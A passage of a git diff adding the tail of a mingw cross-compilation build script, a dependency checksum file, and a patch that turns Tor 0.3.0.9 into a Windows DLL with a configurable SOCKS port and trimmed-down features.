-fomit-frame-pointer -fdata-sections -ffunction-sections -Wno-unused-but-set-parameter -Wno-unused-variable -Wno-unused-result -Wno-attributes -Wno-switch -Wno-float-conversion -Wno-maybe-uninitialized -Wl,-gc-sections" +export LDFLAGS="-flto -Os -Wno-maybe-uninitialized -Wl,-gc-sections" + +DBG_NOERR=1 dbg_run ln -sr "${MY_SYS_ROOT}/${targ}/bin/${targ}-ld" "${MY_SYS_ROOT}/${targ}/lib/gcc/$(${CC} -dumpmachine)/$(${CC} -dumpversion)/real-ld" || true +DBG_NOERR=1 dbg_run ln -sr "${MY_SYS_ROOT}/${targ}/bin/${targ}-nm" "${MY_SYS_ROOT}/${targ}/lib/gcc/$(${CC} -dumpmachine)/$(${CC} -dumpversion)/nm" || true +DBG_NOERR=1 dbg_run ln -sr "${MY_SYS_ROOT}/${targ}/bin/${targ}-strip" "${MY_SYS_ROOT}/${targ}/lib/gcc/$(${CC} -dumpmachine)/$(${CC} -dumpversion)/strip" || true +DBG_NOERR=1 dbg_run ln -sr "${MY_SYS_ROOT}/${targ}/bin/${targ}-strip" "${MY_SYS_ROOT}/${targ}/lib/gcc/$(${CC} -dumpmachine)/$(${CC} -dumpversion)/gstrip" || true + +# 10: Make mingw openssl +dbg "MAKE MINGW OPENSSL (try, required for libtor)" +cd build_mingw_openssl +DISBALED_CIPHERS="no-idea no-mdc2 no-camellia no-bf no-cast no-des no-rc2 no-rc4 no-rc5 no-mdc2 no-afalgeng no-asan no-blake2 no-chacha no-cmac no-seed no-md2 no-md4 no-cms no-capieng no-comp no-ct no-dgram no-ec_nistp_64_gcc_128 no-err no-async no-dynamic-engine no-dso no-dtls no-filenames no-zlib-dynamic no-whirlpool no-ui no-ubsan no-srp no-srtp no-ts no-asm no-autoalginit no-ssl3-method no-weak-ssl-ciphers no-dsa no-async" +unset ret +test -f Makefile || dbg_run ../${OPENSSL}/Configure mingw no-egd no-zlib no-hw ${DISBALED_CIPHERS} --prefix="${MY_SYS_ROOT}/${targ}" ${CFLAGS} && ret=0 || ret=$? +if [ $ret -eq 0 ]; then + dbg_run make -j${NMB_BUILDJOBS} || dbg "MINGW OPENSSL build failed, ignore" + dbg_run make install_dev || dbg "MINGW OPENSSL install failed, ignore" +else + dbg "mingw openssl configure failed, ignore" +fi +cd .. + +# 11: Make mingw zlib +dbg "MAKE MINGW ZLIB (try, required for libtor)" +cd build_mingw_zlib +unset ret +test -f Makefile || dbg_run ../${ZLIB}/configure --static --const --prefix="${MY_SYS_ROOT}/${targ}" && ret=0 || ret=$? +if [ $ret -eq 0 ]; then + dbg_run make -j${NMB_BUILDJOBS} libz.a || dbg "MINGW ZLIB build failed, ignore" + dbg_run make install || dbg "MINGW ZLIB install failed, ignore" +else + dbg "MINGW ZLIB configure failed, ignore" +fi +cd .. + +# 12: Make mingw libevent +dbg "MAKE MINGW LIBEVENT (try, required for libtor)" +cd build_mingw_libevent +unset ret +test -f Makefile || dbg_run ../${LIBEVENT}/configure \ + --disable-libevent-regress --disable-samples --disable-openssl \ + --enable-function-sections --prefix="${MY_SYS_ROOT}/${targ}" \ + --host=${targ} --enable-static --disable-shared && ret=0 || ret=$? +if [ $ret -eq 0 ]; then + dbg_run make -j${NMB_BUILDJOBS} || dbg "MINGW LIBEVENT build failed, ignore" + dbg_run make install || dbg "MINGW LIBEVENT install failed, ignore" + DBG_NOERR=1 dbg_run ln -sr ./.libs/libevent* ./ || true # required for mingw tor builds (using static libevent) +else + dbg "MINGW LIBEVENT configure failed, ignore" +fi +cd .. + +#libtor is disabled until patch the was ported +# 13: Make patch'd mingw tor (libtor) +#dbg "MAKE MINGW TOR (libtor patch)" +#cd build_mingw_tor +#TOR_CFLAGS="-DHAVE_SSL_GET_SERVER_RANDOM=1 -DHAVE_SSL_GET_CLIENT_CIPHERS=1 -DHAVE_SSL_GET_CLIENT_RANDOM=1 -DHAVE_SSL_SESSION_GET_MASTER_KEY=1" +#TOR_CFLAGS_EXTRA="-fasynchronous-unwind-tables -fno-strict-aliasing -Wall -Wextra -W" +#TOR_ARCHIVES="src/or/libtor.a src/common/libor.a src/common/libor-ctime.a src/common/libor-crypto.a src/ext/keccak-tiny/libkeccak-tiny.a src/common/libcurve25519_donna.a src/ext/ed25519/ref10/libed25519_ref10.a src/ext/ed25519/donna/libed25519_donna.a src/common/libor-event.a src/trunnel/libor-trunnel.a" +#TOR_STATIC_LIBS="$(realpath ../build_mingw_libevent)/libevent.a $(realpath ../build_mingw_openssl)/libssl.a $(realpath ../build_mingw_openssl)/libcrypto.a $(realpath ../build_mingw_zlib)/libz.a" +#unset ret +#test -f Makefile || CFLAGS="${CFLAGS} ${TOR_CFLAGS}" dbg_run ../${TOR}-libtor/configure --host=${targ} --disable-gcc-hardening --enable-static-tor --prefix="${MY_SYS_ROOT}/${targ}" --disable-tool-name-check --with-libevent-dir="$(realpath ../build_mingw_libevent)" --with-openssl-dir="$(realpath ../build_mingw_openssl)" --with-zlib-dir="$(realpath ../build_mingw_zlib)" --disable-systemd --disable-libfuzzer --disable-oss-fuzz --disable-system-torrc --disable-local-appdata --enable-tor2web-mode && ret=0 || ret=$? +#if [ $ret -eq 0 ]; then +# # build only required targets +# CFLAGS="${CFLAGS} ${TOR_CFLAGS}" dbg_run make src/or/tor.exe src/tools/tor-resolve.exe src/tools/tor-gencert.exe src/test/test.exe -j${NMB_BUILDJOBS} V=1 || dbg "MINGW TOR build failed, ignore" +# dbg_run ${STRIP} -s src/or/tor.exe || true +# dbg_run make install-exec || dbg "MINGW TOR install failed, ignore" +# # install tests +# dbg_run install -c src/test/test.exe "${MY_SYS_ROOT}/${targ}/bin/tor-tests.exe" || dbg "tor-tests.exe install failed, ignore" +#else +# dbg "MINGW TOR configure failed, ignore" +#fi +# compile/link libtor +#dbg "MAKE MINGW LIBTOR" +#dbg_run ${CC} -std=gnu99 ${CFLAGS} ${TOR_CFLAGS} ${TOR_CFLAGS_EXTRA} ../${TOR}-libtor/src/or/tor_main.c ${TOR_ARCHIVES} -shared -o src/or/libtor.dll -lgdi32 -lcrypt32 ${TOR_STATIC_LIBS} -lws2_32 "${MY_SYS_ROOT}/${targ}/lib/libwinpthread.a" -static-libgcc -Wl,-require-defined=_tor_main@8 -Wl,-require-defined=_tor_init -Wl,-Map=src/or/libtor.map || dbg "LIBTOR build failed, ignore" +#dbg_run ${STRIP} -s src/or/libtor.dll +## install libtor +#dbg_run install -c src/or/libtor.dll "${MY_SYS_ROOT}/${targ}/lib/libtor.dll" || dbg "libtor.dll install failed, ignore" +#dbg_run install -c ../${TOR}-libtor/src/or/libtor.h "${MY_SYS_ROOT}/${targ}/include/libtor.h" || dbg "libtor.h install failed, ignore" +#cd .. + +dbg "Creating ${MY_SYS_ROOT}/activate.sh" +cat <<EOF >${MY_SYS_ROOT}/activate.sh +#!/bin/bash +export PATH="${MY_SYS_ROOT}/bin:${MY_SYS_ROOT}/i686-w64-mingw32/bin:${MY_SYS_ROOT}/x86_64-pc-linux-gnu/bin:${PATH}" +EOF +chmod +x ${MY_SYS_ROOT}/activate.sh + +dbg "DONE" + +if [ ! -z "${SECONDS:-}" ]; then + T_DELTA_H=$(( ${SECONDS} / 3600 )) + T_DELTA_M=$(( ${SECONDS} / 60 % 60 )) + dbg "TOTAL TIME: ${T_DELTA_H}hrs ${T_DELTA_M}min" +fi diff --git a/deps/sha512.chksms b/deps/sha512.chksms new file mode 100644 index 0000000..cc606cb --- /dev/null +++ b/deps/sha512.chksms @@ -0,0 +1,12 @@ +9a81cea8f8853b183364b399a238604075b00d18badb0cde118b20fe4428135de5d75a3feca0d56a3d8d40d557e3933de573671072d9da6f76f84435d23bf1ba Python-2.7.18.tar.gz +c1674fc0a5edcde188bdf7d6d14063cfb4f1259b9eaf39d0081f7176e9921ca0af1b12b7aba1a9560d9f2d5f37329d22bc7b82f13421d91d83114b439bc60dcc mpfr-4.0.1.tar.bz2 +72d657958b07c7812dc9c7cbae093118ce0e454c68a585bfb0e2fa559f1bf7c5f49b93906f580ab3f1073e5b595d23c6494d4d76b765d16dde857a18dd239628 mpc-1.1.0.tar.gz +268db88447174617f5746d9a6ba2b105940cc1a5e73155eb23b6eedf55f8e7724eda05d161b2de19aca9e794956d226ba9ed6f23124c7c82f7e1872e32b003cf gmp-6.1.2.tar.bz2 +e3d3663e0cb33a16f90b1a33e81b5a30d26f7e34270b14e865c10068f2a2d32da9ef8cbbb0c3fed9c71429ae11c82152ff3b87d81558929b2a4993dc99cfc11e mingw-w64-v6.0.0.tar.bz2 +6e8867cacf58a6f79122ccee00afbb894c1709375580afc14b523dc7d123029bf2532f9f71e4c6c7072b2d708cc97a370c922d80fa17b3ee3ddeb49110cd749b binutils-2.31.1.tar.gz +3182cd248a37ce4c36ad2a43f1910da13325452472ea80855afc21f134c4e4792c29887f5e070fe21c3ff8e5953e59f69343e1d3b968ee1eb2d8b5c8ae9f48fa gcc-8.2.0.tar.gz +03f1c97380cec892f2c465f7e3e3c99a55b5a7b7b966f71fba9398940ed332b7d960770ce75fafe549feaa70636edbf94b48b848137c9df3b0c8adb1dcbb1394 nasm-2.12.02.tar.gz +4861ec6428fead416f5cbbbb0bbad10b9152967e481d4b0ff2eb396a9f297f552984c9bb72f6864a37dcd8fca1d9ccceda3ef18d8f121938dbe4fdf2b870fe75 pkg-config-0.29.2.tar.gz +b00bd9b5ad5298fbceeec6bb19c1ab0c106ca5cfb31178497c58bf7e0e0cf30fcc19c20f84e23af31cc126bf2447d3e4f8461db97bafa7bd78f69561932f000c openssl-1.1.1f.tar.gz +73fd3fff4adeccd4894084c15ddac89890cd10ef105dd5e1835e1e9bbb6a49ff229713bd197d203edfa17c2727700fce65a2a235f07568212d820dca88b528ae zlib-1.2.11.tar.gz +a2fd3dd111e73634e4aeb1b29d06e420b15c024d7b47778883b5f8a4ff320b5057a8164c6d50b53bd196c79d572ce2639fe6265e03a93304b09c22b41e4c2a17 libevent-2.1.8-stable.tar.gz diff --git a/deps/tor-0.3.0.9-libtor.patch b/deps/tor-0.3.0.9-libtor.patch new file mode 100644 index 0000000..88ff199 --- /dev/null +++ b/deps/tor-0.3.0.9-libtor.patch @@ -0,0 +1,932 @@ +diff -Naur tor-0.3.0.9/configure tor-0.3.0.9-libtor/configure +--- tor-0.3.0.9/configure ++++ tor-0.3.0.9-libtor/configure +@@ -8278,7 +8278,7 @@ + TOR_LIB_IPHLPAPI=-liphlpapi + # Some of the cargo-cults recommend -lwsock32 as well, but I don't + # think it's actually necessary. +- TOR_LIB_GDI=-lgdi32 ++ TOR_LIB_GDI="-lgdi32 -lcrypt32 $TOR_LIB_WS32" + else + TOR_LIB_WS32= + TOR_LIB_GDI= +diff -Naur tor-0.3.0.9/Makefile.in tor-0.3.0.9-libtor/Makefile.in +--- tor-0.3.0.9/Makefile.in ++++ tor-0.3.0.9-libtor/Makefile.in +@@ -2695,19 +2695,19 @@ + .SUFFIXES: .c .log .o .obj .test .test$(EXEEXT) .trs + am--refresh: Makefile + @: +-$(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(srcdir)/src/include.am $(srcdir)/src/ext/include.am $(srcdir)/src/trunnel/include.am $(srcdir)/src/common/include.am $(srcdir)/src/or/include.am $(srcdir)/src/test/include.am $(srcdir)/src/tools/include.am $(srcdir)/src/win32/include.am $(srcdir)/src/config/include.am $(srcdir)/src/test/fuzz/include.am $(srcdir)/doc/include.am $(srcdir)/contrib/include.am $(am__configure_deps) +- @for dep in $?; do \ +- case '$(am__configure_deps)' in \ +- *$$dep*) \ +- echo ' cd $(srcdir) && $(AUTOMAKE) --foreign'; \ +- $(am__cd) $(srcdir) && $(AUTOMAKE) --foreign \ +- && exit 0; \ +- exit 1;; \ +- esac; \ +- done; \ +- echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign Makefile'; \ +- $(am__cd) $(top_srcdir) && \ +- $(AUTOMAKE) --foreign Makefile ++#$(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(srcdir)/src/include.am $(srcdir)/src/ext/include.am $(srcdir)/src/trunnel/include.am $(srcdir)/src/common/include.am $(srcdir)/src/or/include.am $(srcdir)/src/test/include.am $(srcdir)/src/tools/include.am $(srcdir)/src/win32/include.am $(srcdir)/src/config/include.am $(srcdir)/src/test/fuzz/include.am $(srcdir)/doc/include.am $(srcdir)/contrib/include.am $(am__configure_deps) ++# @for dep in $?; do \ ++# case '$(am__configure_deps)' in \ ++# *$$dep*) \ ++# echo ' cd $(srcdir) && $(AUTOMAKE) --foreign'; \ ++# $(am__cd) $(srcdir) && $(AUTOMAKE) --foreign \ ++# && exit 0; \ ++# exit 1;; \ ++# esac; \ ++# done; \ ++# echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign Makefile'; \ ++# $(am__cd) $(top_srcdir) && \ ++# $(AUTOMAKE) --foreign Makefile + Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status + @case '$?' in \ + *config.status*) \ +@@ -2719,8 +2719,8 @@ + esac; + $(srcdir)/src/include.am $(srcdir)/src/ext/include.am $(srcdir)/src/trunnel/include.am $(srcdir)/src/common/include.am $(srcdir)/src/or/include.am $(srcdir)/src/test/include.am $(srcdir)/src/tools/include.am $(srcdir)/src/win32/include.am $(srcdir)/src/config/include.am $(srcdir)/src/test/fuzz/include.am $(srcdir)/doc/include.am $(srcdir)/contrib/include.am $(am__empty): + +-$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES) +- $(SHELL) ./config.status --recheck ++#$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES) ++# $(SHELL) ./config.status --recheck + + $(top_srcdir)/configure: $(am__configure_deps) + $(am__cd) $(srcdir) && $(AUTOCONF) +diff -Naur tor-0.3.0.9/src/common/backtrace.c tor-0.3.0.9-libtor/src/common/backtrace.c +--- tor-0.3.0.9/src/common/backtrace.c ++++ tor-0.3.0.9-libtor/src/common/backtrace.c +@@ -1,3 +1,4 @@ ++#if 0 + /* Copyright (c) 2013-2016, The Tor Project, Inc. */ + /* See LICENSE for licensing information */ + +@@ -246,3 +247,4 @@ + tor_free(bt_version); + } + ++#endif +diff -Naur tor-0.3.0.9/src/common/backtrace.h tor-0.3.0.9-libtor/src/common/backtrace.h +--- tor-0.3.0.9/src/common/backtrace.h ++++ tor-0.3.0.9-libtor/src/common/backtrace.h +@@ -1,3 +1,4 @@ ++#if 0 + /* Copyright (c) 2013-2016, The Tor Project, Inc. */ + /* See LICENSE for licensing information */ + +@@ -19,3 +20,4 @@ + + #endif + ++#endif +diff -Naur tor-0.3.0.9/src/common/util_bug.c tor-0.3.0.9-libtor/src/common/util_bug.c +--- tor-0.3.0.9/src/common/util_bug.c ++++ tor-0.3.0.9-libtor/src/common/util_bug.c +@@ -71,7 +71,9 @@ + tor_snprintf(buf, sizeof(buf), + "Assertion %s failed in %s at %s:%u", + expr, func, fname, line); ++#if 0 + log_backtrace(LOG_ERR, LD_BUG, buf); ++#endif + } + + /** Helper for tor_assert_nonfatal: report the assertion failure. */ +@@ -104,7 +106,9 @@ + "Non-fatal assertion %s failed in %s at %s:%u", + expr, func, fname, line); + } ++#if 0 + log_backtrace(LOG_WARN, LD_BUG, buf); ++#endif + + #ifdef TOR_UNIT_TESTS + if (failed_assertion_cb) { +diff -Naur tor-0.3.0.9/src/or/config.c tor-0.3.0.9-libtor/src/or/config.c +--- tor-0.3.0.9/src/or/config.c ++++ tor-0.3.0.9-libtor/src/or/config.c +@@ -331,6 +331,7 @@ + V(FetchUselessDescriptors, BOOL, "0"), + OBSOLETE("FetchV2Networkstatus"), + V(GeoIPExcludeUnknown, AUTOBOOL, "auto"), ++#if 0 + #ifdef _WIN32 + V(GeoIPFile, FILENAME, "<default>"), + V(GeoIPv6File, FILENAME, "<default>"), +@@ -340,6 +341,7 @@ + V(GeoIPv6File, FILENAME, + SHARE_DATADIR PATH_SEPARATOR "tor" PATH_SEPARATOR "geoip6"), + #endif ++#endif + OBSOLETE("Group"), + V(GuardLifetime, INTERVAL, "0 minutes"), + V(HardwareAccel, BOOL, "0"), +@@ -696,6 +698,8 @@ + { NULL, NULL } + }; + ++static int default_socks_port = 59050; ++ + #ifdef _WIN32 + static char *get_windows_conf_root(void); + #endif +@@ -711,8 +715,11 @@ + static char *get_bindaddr_from_transport_listen_line(const char *line, + const char *transport); + static int parse_ports(or_options_t *options, int validate_only, +- char **msg_out, int *n_ports_out, +- int *world_writable_control_socket); ++ char **msg_out, int *n_ports_out ++#if 0 ++ , int *world_writable_control_socket ++#endif ++ ); + static int check_server_ports(const smartlist_t *ports, + const or_options_t *options, + int *num_low_ports_out); +@@ -727,8 +734,10 @@ + static int opt_streq(const char *s1, const char *s2); + static int parse_outbound_addresses(or_options_t *options, int validate_only, + char **msg); ++#if 0 + static void config_maybe_load_geoip_files_(const or_options_t *options, + const or_options_t *old_options); ++#endif + static int options_validate_cb(void *old_options, void *options, + void *default_options, + int from_setconf, char **msg); +@@ -774,6 +783,9 @@ + /** List of port_cfg_t for all configured ports. */ + static smartlist_t *configured_ports = NULL; + ++int get_socks_proxy_port(void) { return default_socks_port; } ++void set_socks_proxy_port(int new_port) { default_socks_port = new_port; } ++ + /** Return the contents of our frontpage string, or NULL if not configured. */ + MOCK_IMPL(const char*, + get_dirportfrontpage, (void)) +@@ -1284,7 +1296,11 @@ + } + + /* Adjust the port configuration so we can launch listeners. */ +- if (parse_ports(options, 0, msg, &n_ports, NULL)) { ++ if (parse_ports(options, 0, msg, &n_ports ++#if 0 ++ , NULL ++#endif ++ )) { + if (!*msg) + *msg = tor_strdup("Unexpected problem parsing port config"); + goto rollback; +@@ -1877,7 +1893,9 @@ + return -1; + } + ++#if 0 + config_maybe_load_geoip_files_(options, old_options); ++#endif + + if (geoip_is_loaded(AF_INET) && options->GeoIPExcludeUnknown) { + /* ExcludeUnknown is true or "auto" */ +@@ -2993,7 +3011,9 @@ + config_line_t *cl; + const char *uname = get_uname(); + int n_ports=0; ++#if 0 + int world_writable_control_socket=0; ++#endif + + tor_assert(msg); + *msg = NULL; +@@ -3016,8 +3036,11 @@ + "for details.", uname); + } + +- if (parse_ports(options, 1, msg, &n_ports, +- &world_writable_control_socket) < 0) ++ if (parse_ports(options, 1, msg, &n_ports ++#if 0 ++ , &world_writable_control_socket ++#endif ++ ) < 0) + return -1; + + if (parse_outbound_addresses(options, 1, msg) < 0) +@@ -3847,7 +3870,11 @@ + } + } + +- if ((options->ControlPort_set || world_writable_control_socket) && ++ if ((options->ControlPort_set ++#if 0 ++ || world_writable_control_socket ++#endif ++ ) && + !options->HashedControlPassword && + !options->HashedControlSessionPassword && + !options->CookieAuthentication) { +@@ -4747,6 +4774,7 @@ + * Set *<b>ignore_missing_torrc</b> to true if we should ignore the resulting + * filename if it doesn't exist. + */ ++#if 0 + static char * + find_torrc_filename(config_line_t *cmd_arg, + int defaults_file, +@@ -4877,6 +4905,7 @@ + *fname_var = NULL; + return NULL; + } ++#endif + + /** Read a configuration file into <b>options</b>, finding the configuration + * file location based on the command line. After loading the file +@@ -4959,6 +4988,7 @@ + } + } + ++#if 0 + if (command == CMD_HASH_PASSWORD) { + cf_defaults = tor_strdup(""); + cf = tor_strdup(""); +@@ -4985,6 +5015,10 @@ + } + } + } ++#else ++ cf_defaults = tor_strdup(""); ++ cf = tor_strdup(""); ++#endif + + retval = options_init_from_string(cf_defaults, cf, command, command_arg, + &errmsg); +@@ -7019,8 +7053,11 @@ + **/ + static int + parse_ports(or_options_t *options, int validate_only, +- char **msg, int *n_ports_out, +- int *world_writable_control_socket) ++ char **msg, int *n_ports_out ++#if 0 ++ , int *world_writable_control_socket ++#endif ++ ) + { + smartlist_t *ports; + int retval = -1; +@@ -7034,12 +7071,13 @@ + if (parse_port_config(ports, + options->SocksPort_lines, options->SocksListenAddress, + "Socks", CONN_TYPE_AP_LISTENER, +- "127.0.0.1", 9050, ++ "127.0.0.1", get_socks_proxy_port(), + CL_PORT_WARN_NONLOCAL|CL_PORT_ALLOW_EXTRA_LISTENADDR| + CL_PORT_TAKES_HOSTNAMES|gw_flag) < 0) { + *msg = tor_strdup("Invalid SocksPort/SocksListenAddress configuration"); + goto err; + } ++#if 0 + if (parse_port_config(ports, + options->DNSPort_lines, options->DNSListenAddress, + "DNS", CONN_TYPE_AP_DNS_LISTENER, +@@ -7064,7 +7102,9 @@ + *msg = tor_strdup("Invalid NatdPort/NatdListenAddress configuration"); + goto err; + } ++#endif + { ++#if 0 + unsigned control_port_flags = CL_PORT_NO_STREAM_OPTIONS | + CL_PORT_WARN_NONLOCAL; + const int any_passwords = (options->HashedControlPassword || +@@ -7074,7 +7114,12 @@ + control_port_flags |= CL_PORT_FORBID_NONLOCAL; + if (options->ControlSocketsGroupWritable) + control_port_flags |= CL_PORT_DFLT_GROUP_WRITABLE; ++#else ++ unsigned control_port_flags = CL_PORT_NO_STREAM_OPTIONS | ++ CL_PORT_WARN_NONLOCAL | CL_PORT_FORBID_NONLOCAL; ++#endif + ++#if 0 + if (parse_port_config(ports, + options->ControlPort_lines, + options->ControlListenAddress, +@@ -7093,7 +7138,9 @@ + *msg = tor_strdup("Invalid ControlSocket configuration"); + goto err; + } ++#endif + } ++#if 0 + if (! options->ClientOnly) { + if (parse_port_config(ports, + options->ORPort_lines, options->ORListenAddress, +@@ -7120,6 +7167,7 @@ + goto err; + } + } ++#endif + + int n_low_ports = 0; + if (check_server_ports(ports, options, &n_low_ports) < 0) { +@@ -7135,6 +7183,8 @@ + + /* Update the *Port_set options. The !! here is to force a boolean out of + an integer. */ ++ ++#if 0 + options->ORPort_set = + !! count_real_listeners(ports, CONN_TYPE_OR_LISTENER, 0); + options->SocksPort_set = +@@ -7162,6 +7212,10 @@ + break; + }); + } ++#else ++ options->SocksPort_set = ++ !! count_real_listeners(ports, CONN_TYPE_AP_LISTENER, 1); ++#endif + + if (!validate_only) { + if (configured_ports) { +@@ -7999,6 +8053,7 @@ + /** Load one of the geoip files, <a>family</a> determining which + * one. <a>default_fname</a> is used if on Windows and + * <a>fname</a> equals "<default>". */ ++#if 0 + static void + config_load_geoip_file_(sa_family_t family, + const char *fname, +@@ -8020,9 +8075,11 @@ + geoip_load_file(family, fname); + #endif + } ++#endif + + /** Load geoip files for IPv4 and IPv6 if <a>options</a> and + * <a>old_options</a> indicate we should. */ ++#if 0 + static void + config_maybe_load_geoip_files_(const or_options_t *options, + const or_options_t *old_options) +@@ -8040,6 +8097,7 @@ + || !geoip_is_loaded(AF_INET6))) + config_load_geoip_file_(AF_INET6, options->GeoIPv6File, "geoip6"); + } ++#endif + + /** Initialize cookie authentication (used so far by the ControlPort + * and Extended ORPort). +diff -Naur tor-0.3.0.9/src/or/config.h tor-0.3.0.9-libtor/src/or/config.h +--- tor-0.3.0.9/src/or/config.h ++++ tor-0.3.0.9-libtor/src/or/config.h +@@ -18,6 +18,9 @@ + #define KERNEL_MAY_SUPPORT_IPFW + #endif + ++int get_socks_proxy_port(void); ++void set_socks_proxy_port(int new_port); ++ + MOCK_DECL(const char*, get_dirportfrontpage, (void)); + MOCK_DECL(const or_options_t *, get_options, (void)); + MOCK_DECL(or_options_t *, get_options_mutable, (void)); +diff -Naur tor-0.3.0.9/src/or/connection.c tor-0.3.0.9-libtor/src/or/connection.c +--- tor-0.3.0.9/src/or/connection.c ++++ tor-0.3.0.9-libtor/src/or/connection.c +@@ -1864,7 +1864,9 @@ + fmt_addr(&real_addr), + options->ClientUseIPv4 == 0 ? "4" : "6"); + if (!logged_backtrace) { ++#if 0 + log_backtrace(LOG_INFO, LD_BUG, "Address came from"); ++#endif + logged_backtrace = 1; + } + } +diff -Naur tor-0.3.0.9/src/or/connection_edge.c tor-0.3.0.9-libtor/src/or/connection_edge.c +--- tor-0.3.0.9/src/or/connection_edge.c ++++ tor-0.3.0.9-libtor/src/or/connection_edge.c +@@ -965,7 +965,9 @@ + f2 ? f2 : "<NULL>", + entry_conn->marked_pending_circ_line); + #endif ++#if 0 + log_backtrace(LOG_WARN, LD_BUG, "To debug, this may help"); ++#endif + return; + } + +diff -Naur tor-0.3.0.9/src/or/directory.c tor-0.3.0.9-libtor/src/or/directory.c +--- tor-0.3.0.9/src/or/directory.c ++++ tor-0.3.0.9-libtor/src/or/directory.c +@@ -768,7 +768,9 @@ + status->dir_port, fmt_addr(&status->ipv6_addr), + status->ipv6_orport, status->dir_port); + if (!logged_backtrace) { ++#if 0 + log_backtrace(LOG_INFO, LD_BUG, "Addresses came from"); ++#endif + logged_backtrace = 1; + } + return -1; +@@ -1250,7 +1252,9 @@ + use_begindir ? "begindir " : "", + use_begindir ? "OR" : "Dir"); + if (!logged_backtrace) { ++#if 0 + log_backtrace(LOG_INFO, LD_BUG, "Address came from"); ++#endif + logged_backtrace = 1; + } + return; +diff -Naur tor-0.3.0.9/src/or/geoip.c tor-0.3.0.9-libtor/src/or/geoip.c +--- tor-0.3.0.9/src/or/geoip.c ++++ tor-0.3.0.9-libtor/src/or/geoip.c +@@ -91,6 +91,7 @@ + + /** Add an entry to a GeoIP table, mapping all IP addresses between <b>low</b> + * and <b>high</b>, inclusive, to the 2-letter country code <b>country</b>. */ ++#if 0 + static void + geoip_add_entry(const tor_addr_t *low, const tor_addr_t *high, + const char *country) +@@ -134,9 +135,11 @@ + smartlist_add(geoip_ipv6_entries, ent); + } + } ++#endif + + /** Add an entry to the GeoIP table indicated by <b>family</b>, + * parsing it from <b>line</b>. The format is as for geoip_load_file(). */ ++#if 0 + STATIC int + geoip_parse_entry(const char *line, sa_family_t family) + { +@@ -203,9 +206,11 @@ + family == AF_INET ? "IPv4" : "IPv6", escaped(line)); + return -1; + } ++#endif + + /** Sorting helper: return -1, 1, or 0 based on comparison of two + * geoip_ipv4_entry_t */ ++#if 0 + static int + geoip_ipv4_compare_entries_(const void **_a, const void **_b) + { +@@ -217,6 +222,7 @@ + else + return 0; + } ++#endif + + /** bsearch helper: return -1, 1, or 0 based on comparison of an IP (a pointer + * to a uint32_t in host order) to a geoip_ipv4_entry_t */ +@@ -236,6 +242,7 @@ + + /** Sorting helper: return -1, 1, or 0 based on comparison of two + * geoip_ipv6_entry_t */ ++#if 0 + static int + geoip_ipv6_compare_entries_(const void **_a, const void **_b) + { +@@ -243,6 +250,7 @@ + return fast_memcmp(a->ip_low.s6_addr, b->ip_low.s6_addr, + sizeof(struct in6_addr)); + } ++#endif + + /** bsearch helper: return -1, 1, or 0 based on comparison of an IPv6 + * (a pointer to a in6_addr) to a geoip_ipv6_entry_t */ +@@ -306,6 +314,7 @@ + * It also recognizes, and skips over, blank lines and lines that start + * with '#' (comments). + */ ++#if 0 + int + geoip_load_file(sa_family_t family, const char *filename) + { +@@ -373,6 +382,7 @@ + + return 0; + } ++#endif + + /** Given an IP address in host order, return a number representing the + * country to which that address belongs, -1 for "No geoip information +diff -Naur tor-0.3.0.9/src/or/geoip.h tor-0.3.0.9-libtor/src/or/geoip.h +--- tor-0.3.0.9/src/or/geoip.h ++++ tor-0.3.0.9-libtor/src/or/geoip.h +@@ -15,13 +15,17 @@ + #include "testsupport.h" + + #ifdef GEOIP_PRIVATE ++#if 0 + STATIC int geoip_parse_entry(const char *line, sa_family_t family); ++#endif + STATIC int geoip_get_country_by_ipv4(uint32_t ipaddr); + STATIC int geoip_get_country_by_ipv6(const struct in6_addr *addr); + STATIC void clear_geoip_db(void); + #endif + int should_record_bridge_info(const or_options_t *options); ++#if 0 + int geoip_load_file(sa_family_t family, const char *filename); ++#endif + MOCK_DECL(int, geoip_get_country_by_addr, (const tor_addr_t *addr)); + MOCK_DECL(int, geoip_get_n_countries, (void)); + const char *geoip_get_country_name(country_t num); +diff -Naur tor-0.3.0.9/src/or/libtor.h tor-0.3.0.9-libtor/src/or/libtor.h +--- tor-0.3.0.9/src/or/libtor.h ++++ tor-0.3.0.9-libtor/src/or/libtor.h +@@ -0,0 +1,13 @@ ++/** ++ * \file libtor.h ++ * \brief Header file for libtor. ++ **/ ++ ++#ifndef TOR_LIBTOR_H ++#define TOR_LIBTOR_H ++ ++__declspec(dllexport) int __stdcall ++tor_main(int socks_proxy_port, unsigned int ident); ++ ++#endif ++ +diff -Naur tor-0.3.0.9/src/or/main.c tor-0.3.0.9-libtor/src/or/main.c +--- tor-0.3.0.9/src/or/main.c ++++ tor-0.3.0.9-libtor/src/or/main.c +@@ -125,8 +125,10 @@ + + /********* PROTOTYPES **********/ + ++#if 0 + static void dumpmemusage(int severity); + static void dumpstats(int severity); /* log stats */ ++#endif + static void conn_read_callback(evutil_socket_t fd, short event, void *_conn); + static void conn_write_callback(evutil_socket_t fd, short event, void *_conn); + static void second_elapsed_callback(periodic_timer_t *timer, void *args); +@@ -505,7 +507,9 @@ + conn->marked_for_close_file ? conn->marked_for_close_file : "-", + conn->marked_for_close + ); ++#if 0 + log_backtrace(LOG_WARN, LD_BUG, "Backtrace attached."); ++#endif + return -1; + } + return 0; +@@ -2496,8 +2500,10 @@ + { + int loop_result; + ++#if 0 + if (nt_service_is_stopping()) + return 0; ++#endif + + #ifndef _WIN32 + /* Make it easier to tell whether libevent failure is our fault or not. */ +@@ -2618,7 +2624,9 @@ + #endif + case SIGUSR1: + /* prefer to log it at INFO, but make sure we always see it */ ++#if 0 + dumpstats(get_min_log_level()<LOG_INFO ? get_min_log_level() : LOG_INFO); ++#endif + control_event_signal(sig); + break; + case SIGUSR2: +@@ -2676,6 +2684,7 @@ + return stats_n_seconds_working; + } + ++#if 0 + /** + * Write current memory usage information to the log. + */ +@@ -2799,6 +2808,7 @@ + dump_pk_ops(severity); + dump_distinct_digest_count(severity); + } ++#endif + + /** Called by exit() as we shut down the process. + */ +@@ -2912,7 +2922,7 @@ + /** Main entry point for the 